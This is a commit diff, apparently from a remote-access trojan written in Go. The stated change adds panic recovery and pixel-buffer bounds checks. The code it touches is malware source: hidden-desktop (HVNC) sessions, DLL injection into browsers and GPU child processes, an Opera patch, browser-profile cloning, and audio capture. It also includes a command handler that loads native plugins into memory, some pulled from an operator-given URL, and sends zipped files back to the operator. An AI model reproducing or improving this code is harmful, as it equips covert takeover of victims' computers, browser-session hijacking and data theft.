safety and hopefully fix crashing bug with GPU mode.
This commit is contained in:
@@ -6,6 +6,7 @@ import (
|
|||||||
"context"
|
"context"
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"log"
|
||||||
"sort"
|
"sort"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
@@ -298,6 +299,11 @@ func StartVoiceSession(parent context.Context, source string, onCapture func([]b
|
|||||||
s.wg.Add(1)
|
s.wg.Add(1)
|
||||||
go func() {
|
go func() {
|
||||||
defer s.wg.Done()
|
defer s.wg.Done()
|
||||||
|
defer func() {
|
||||||
|
if r := recover(); r != nil {
|
||||||
|
log.Printf("[panic] audio capture: %v", r)
|
||||||
|
}
|
||||||
|
}()
|
||||||
for {
|
for {
|
||||||
select {
|
select {
|
||||||
case <-s.ctx.Done():
|
case <-s.ctx.Done():
|
||||||
@@ -454,6 +460,11 @@ func StartCaptureOnlySession(parent context.Context, source string, onCapture fu
|
|||||||
s.wg.Add(1)
|
s.wg.Add(1)
|
||||||
go func() {
|
go func() {
|
||||||
defer s.wg.Done()
|
defer s.wg.Done()
|
||||||
|
defer func() {
|
||||||
|
if r := recover(); r != nil {
|
||||||
|
log.Printf("[panic] audio capture: %v", r)
|
||||||
|
}
|
||||||
|
}()
|
||||||
for {
|
for {
|
||||||
select {
|
select {
|
||||||
case <-s.ctx.Done():
|
case <-s.ctx.Done():
|
||||||
|
|||||||
@@ -163,7 +163,10 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if info.needsPatch && pid != 0 {
|
if info.needsPatch && pid != 0 {
|
||||||
go patchOperaAsync(pid, 5, 2*time.Second)
|
go func() {
|
||||||
|
defer recoverAndLog("hvnc patch opera", nil)
|
||||||
|
patchOperaAsync(pid, 5, 2*time.Second)
|
||||||
|
}()
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -207,7 +210,10 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if info.needsPatch && pid != 0 {
|
if info.needsPatch && pid != 0 {
|
||||||
go patchOperaAsync(pid, 5, 2*time.Second)
|
go func() {
|
||||||
|
defer recoverAndLog("hvnc patch opera", nil)
|
||||||
|
patchOperaAsync(pid, 5, 2*time.Second)
|
||||||
|
}()
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -622,6 +628,11 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
|
|||||||
wg.Add(1)
|
wg.Add(1)
|
||||||
go func() {
|
go func() {
|
||||||
defer wg.Done()
|
defer wg.Done()
|
||||||
|
defer func() {
|
||||||
|
if r := recover(); r != nil {
|
||||||
|
log.Printf("[panic] hvnc file copy worker: %v", r)
|
||||||
|
}
|
||||||
|
}()
|
||||||
for job := range jobCh {
|
for job := range jobCh {
|
||||||
n, err := forceCopyFile(job.src, job.dst)
|
n, err := forceCopyFile(job.src, job.dst)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -811,7 +822,10 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
|
|||||||
if !hvncDXGIEnabled.Load() {
|
if !hvncDXGIEnabled.Load() {
|
||||||
log.Printf("hvnc inject: DXGI is disabled, skipping capture DLL injection for GPU child process")
|
log.Printf("hvnc inject: DXGI is disabled, skipping capture DLL injection for GPU child process")
|
||||||
} else {
|
} else {
|
||||||
go hvncDeferredGPUInject(pid, captureDllBytes)
|
go func() {
|
||||||
|
defer recoverAndLog("hvnc deferred gpu inject", nil)
|
||||||
|
hvncDeferredGPUInject(pid, captureDllBytes)
|
||||||
|
}()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -859,7 +859,10 @@ func uiaEnsureWorker() {
|
|||||||
uiaWorkerOnce.Do(func() {
|
uiaWorkerOnce.Do(func() {
|
||||||
uiaWorkerCh = make(chan func(), 64)
|
uiaWorkerCh = make(chan func(), 64)
|
||||||
uiaWorkerDone = make(chan struct{})
|
uiaWorkerDone = make(chan struct{})
|
||||||
go uiaWorkerLoop()
|
go func() {
|
||||||
|
defer recoverAndLog("hvnc uia worker", nil)
|
||||||
|
uiaWorkerLoop()
|
||||||
|
}()
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -456,7 +456,10 @@ func ensureHVNCThread() error {
|
|||||||
hvncThreadReady = make(chan struct{})
|
hvncThreadReady = make(chan struct{})
|
||||||
hvncThreadTasks = make(chan hvncTask)
|
hvncThreadTasks = make(chan hvncTask)
|
||||||
hvncWatchdogOnce.Do(func() {
|
hvncWatchdogOnce.Do(func() {
|
||||||
go hvncThreadWatchdog()
|
go func() {
|
||||||
|
defer recoverAndLog("hvnc watchdog", nil)
|
||||||
|
hvncThreadWatchdog()
|
||||||
|
}()
|
||||||
})
|
})
|
||||||
go func(handle uintptr) {
|
go func(handle uintptr) {
|
||||||
defer recoverAndLog("hvnc desktop thread", nil)
|
defer recoverAndLog("hvnc desktop thread", nil)
|
||||||
@@ -558,7 +561,10 @@ func StartHVNCProcess(filePath string, operaPatch bool) error {
|
|||||||
return result.err
|
return result.err
|
||||||
}
|
}
|
||||||
if operaPatch && result.pid != 0 {
|
if operaPatch && result.pid != 0 {
|
||||||
go patchOperaAsync(result.pid, 5, 2*time.Second)
|
go func() {
|
||||||
|
defer recoverAndLog("hvnc patch opera", nil)
|
||||||
|
patchOperaAsync(result.pid, 5, 2*time.Second)
|
||||||
|
}()
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -756,7 +756,18 @@ func (s *duplicationState) capture(display int) (*image.RGBA, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pitch := int(mapped.Pitch)
|
pitch := int(mapped.Pitch)
|
||||||
src := unsafe.Slice(mapped.Bits, pitch*height)
|
if pitch < width*4 {
|
||||||
|
_ = s.dup.UnMapDesktopSurface()
|
||||||
|
_ = s.dup.ReleaseFrame()
|
||||||
|
return nil, fmt.Errorf("dxgi: pitch %d too small for width %d", pitch, width)
|
||||||
|
}
|
||||||
|
totalBytes := pitch * height
|
||||||
|
if totalBytes/height != pitch {
|
||||||
|
_ = s.dup.UnMapDesktopSurface()
|
||||||
|
_ = s.dup.ReleaseFrame()
|
||||||
|
return nil, fmt.Errorf("dxgi: pitch*height overflow (%d * %d)", pitch, height)
|
||||||
|
}
|
||||||
|
src := unsafe.Slice(mapped.Bits, totalBytes)
|
||||||
if wantScale {
|
if wantScale {
|
||||||
img = convertBGRAScaled(src, pitch, width, height, dstW, dstH, s.desc.Rotation)
|
img = convertBGRAScaled(src, pitch, width, height, dstW, dstH, s.desc.Rotation)
|
||||||
}
|
}
|
||||||
@@ -765,6 +776,9 @@ func (s *duplicationState) capture(display int) (*image.RGBA, error) {
|
|||||||
}
|
}
|
||||||
_ = s.dup.UnMapDesktopSurface()
|
_ = s.dup.UnMapDesktopSurface()
|
||||||
_ = s.dup.ReleaseFrame()
|
_ = s.dup.ReleaseFrame()
|
||||||
|
if img == nil {
|
||||||
|
return nil, errors.New("dxgi: pixel conversion failed (buffer too small)")
|
||||||
|
}
|
||||||
} else {
|
} else {
|
||||||
img, hr = s.readbackFrame(width, height, s.desc.Rotation, resource,
|
img, hr = s.readbackFrame(width, height, s.desc.Rotation, resource,
|
||||||
wantScale, dstW, dstH)
|
wantScale, dstW, dstH)
|
||||||
@@ -976,7 +990,16 @@ func (s *duplicationState) readbackFrame(width, height int, rotation uint32, res
|
|||||||
}
|
}
|
||||||
|
|
||||||
pitch := int(mapped.RowPitch)
|
pitch := int(mapped.RowPitch)
|
||||||
src := unsafe.Slice((*byte)(mapped.Data), pitch*int(srcDesc.Height))
|
srcH := int(srcDesc.Height)
|
||||||
|
srcW := int(srcDesc.Width)
|
||||||
|
if pitch < srcW*4 {
|
||||||
|
return nil, uintptr(1)
|
||||||
|
}
|
||||||
|
totalBytes := pitch * srcH
|
||||||
|
if totalBytes/srcH != pitch {
|
||||||
|
return nil, uintptr(1)
|
||||||
|
}
|
||||||
|
src := unsafe.Slice((*byte)(mapped.Data), totalBytes)
|
||||||
var img *image.RGBA
|
var img *image.RGBA
|
||||||
if wantScale {
|
if wantScale {
|
||||||
img = convertBGRAScaled(src, pitch, int(srcDesc.Width), int(srcDesc.Height), dstW, dstH, rotation)
|
img = convertBGRAScaled(src, pitch, int(srcDesc.Width), int(srcDesc.Height), dstW, dstH, rotation)
|
||||||
@@ -1094,6 +1117,9 @@ func createD3DDevice(adapter *idxgiAdapter1) (*d3d11Device, *d3d11DeviceContext,
|
|||||||
}
|
}
|
||||||
|
|
||||||
func convertBGRA(src []byte, pitch, width, height int, rotation uint32) *image.RGBA {
|
func convertBGRA(src []byte, pitch, width, height int, rotation uint32) *image.RGBA {
|
||||||
|
if len(src) < (height-1)*pitch+width*4 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
switch rotation {
|
switch rotation {
|
||||||
case dxgiModeRotationRotate90:
|
case dxgiModeRotationRotate90:
|
||||||
dst := GetRGBA(height, width)
|
dst := GetRGBA(height, width)
|
||||||
@@ -1166,6 +1192,9 @@ func convertBGRAScaled(src []byte, pitch, srcW, srcH, dstW, dstH int, rotation u
|
|||||||
if rotation != dxgiModeRotationIdentity && rotation != 0 {
|
if rotation != dxgiModeRotationIdentity && rotation != 0 {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
if len(src) < (srcH-1)*pitch+srcW*4 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
dst := GetRGBA(dstW, dstH)
|
dst := GetRGBA(dstW, dstH)
|
||||||
xOff := make([]int, dstW)
|
xOff := make([]int, dstW)
|
||||||
for x := 0; x < dstW; x++ {
|
for x := 0; x < dstW; x++ {
|
||||||
|
|||||||
@@ -359,7 +359,10 @@ func sendCommandResultSafe(env *runtime.Env, cmdID string, ok bool, message stri
|
|||||||
}
|
}
|
||||||
|
|
||||||
func sendCommandResultAsync(env *runtime.Env, cmdID string) {
|
func sendCommandResultAsync(env *runtime.Env, cmdID string) {
|
||||||
go sendCommandResultSafe(env, cmdID, true, "")
|
go func() {
|
||||||
|
defer recoverAndLog("sendCommandResultAsync", nil)
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
}()
|
||||||
}
|
}
|
||||||
|
|
||||||
func payloadNumberToInt64(value interface{}) int64 {
|
func payloadNumberToInt64(value interface{}) int64 {
|
||||||
@@ -569,7 +572,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
||||||
}
|
}
|
||||||
go func() {
|
goSafe("plugin load", nil, func() {
|
||||||
if err := env.Plugins.Load(ctx, manifest, binaryBytes); err != nil {
|
if err := env.Plugins.Load(ctx, manifest, binaryBytes); err != nil {
|
||||||
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "error", Error: err.Error()})
|
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "error", Error: err.Error()})
|
||||||
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
||||||
@@ -577,7 +580,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
}
|
}
|
||||||
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "loaded"})
|
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: manifest.ID, Event: "loaded"})
|
||||||
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
||||||
}()
|
})
|
||||||
return nil
|
return nil
|
||||||
case "plugin_load_http":
|
case "plugin_load_http":
|
||||||
payload, _ := envelope["payload"].(map[string]interface{})
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
@@ -591,7 +594,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
}
|
}
|
||||||
pullURL, _ := payload["url"].(string)
|
pullURL, _ := payload["url"].(string)
|
||||||
expectedSize := int64(toInt(payload["size"]))
|
expectedSize := int64(toInt(payload["size"]))
|
||||||
go HandlePluginLoadHTTP(ctx, env, cmdID, manifest, pullURL, expectedSize)
|
goSafe("plugin load http", nil, func() {
|
||||||
|
HandlePluginLoadHTTP(ctx, env, cmdID, manifest, pullURL, expectedSize)
|
||||||
|
})
|
||||||
return nil
|
return nil
|
||||||
case "plugin_unload":
|
case "plugin_unload":
|
||||||
payload, _ := envelope["payload"].(map[string]interface{})
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
|||||||
@@ -710,7 +710,9 @@ func HandleFileZip(ctx context.Context, env *agentRuntime.Env, cmdID string, sou
|
|||||||
wire.WriteMsg(ctx, env.Conn, finalProgress)
|
wire.WriteMsg(ctx, env.Conn, finalProgress)
|
||||||
|
|
||||||
time.Sleep(100 * time.Millisecond)
|
time.Sleep(100 * time.Millisecond)
|
||||||
go HandleFileDownload(ctx, env, cmdID, zipPath)
|
goSafe("file download", nil, func() {
|
||||||
|
HandleFileDownload(ctx, env, cmdID, zipPath)
|
||||||
|
})
|
||||||
|
|
||||||
result := wire.CommandResult{
|
result := wire.CommandResult{
|
||||||
Type: "command_result",
|
Type: "command_result",
|
||||||
|
|||||||
@@ -38,11 +38,11 @@ func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if autoStartExplorer {
|
if autoStartExplorer {
|
||||||
go func() {
|
goSafe("hvnc auto-start explorer", nil, func() {
|
||||||
if err := capture.HVNCAutoStartExplorer(); err != nil {
|
if err := capture.HVNCAutoStartExplorer(); err != nil {
|
||||||
log.Printf("hvnc: auto-start explorer error: %v", err)
|
log.Printf("hvnc: auto-start explorer error: %v", err)
|
||||||
}
|
}
|
||||||
}()
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
ticker := time.NewTicker(interval)
|
ticker := time.NewTicker(interval)
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ package plugins
|
|||||||
import (
|
import (
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"log"
|
||||||
"runtime"
|
"runtime"
|
||||||
"syscall"
|
"syscall"
|
||||||
"unsafe"
|
"unsafe"
|
||||||
@@ -22,6 +23,11 @@ func loadNativePlugin(data []byte) (NativePlugin, error) {
|
|||||||
ch := make(chan initResult, 1)
|
ch := make(chan initResult, 1)
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
|
defer func() {
|
||||||
|
if r := recover(); r != nil {
|
||||||
|
ch <- initResult{err: fmt.Errorf("plugin init panic: %v", r)}
|
||||||
|
}
|
||||||
|
}()
|
||||||
runtime.LockOSThread()
|
runtime.LockOSThread()
|
||||||
|
|
||||||
mm, err := LoadMemoryModule(data)
|
mm, err := LoadMemoryModule(data)
|
||||||
@@ -170,6 +176,11 @@ func (p *dllPlugin) Event(event string, payload []byte) error {
|
|||||||
copy(payloadCopy, payload)
|
copy(payloadCopy, payload)
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
|
defer func() {
|
||||||
|
if r := recover(); r != nil {
|
||||||
|
log.Printf("[panic] plugin event panic: %v", r)
|
||||||
|
}
|
||||||
|
}()
|
||||||
runtime.LockOSThread()
|
runtime.LockOSThread()
|
||||||
defer runtime.UnlockOSThread()
|
defer runtime.UnlockOSThread()
|
||||||
|
|
||||||
|
|||||||
@@ -77,6 +77,11 @@ func (m *Manager) Load(ctx context.Context, manifest PluginManifest, binary []by
|
|||||||
Payload: payloadVal,
|
Payload: payloadVal,
|
||||||
}
|
}
|
||||||
go func() {
|
go func() {
|
||||||
|
defer func() {
|
||||||
|
if r := recover(); r != nil {
|
||||||
|
log.Printf("[panic] plugin event send: %v", r)
|
||||||
|
}
|
||||||
|
}()
|
||||||
sendCtx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
|
sendCtx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
if err := wire.WriteMsg(sendCtx, m.writer, msg); err != nil {
|
if err := wire.WriteMsg(sendCtx, m.writer, msg); err != nil {
|
||||||
|
|||||||
Reference in New Issue
Block a user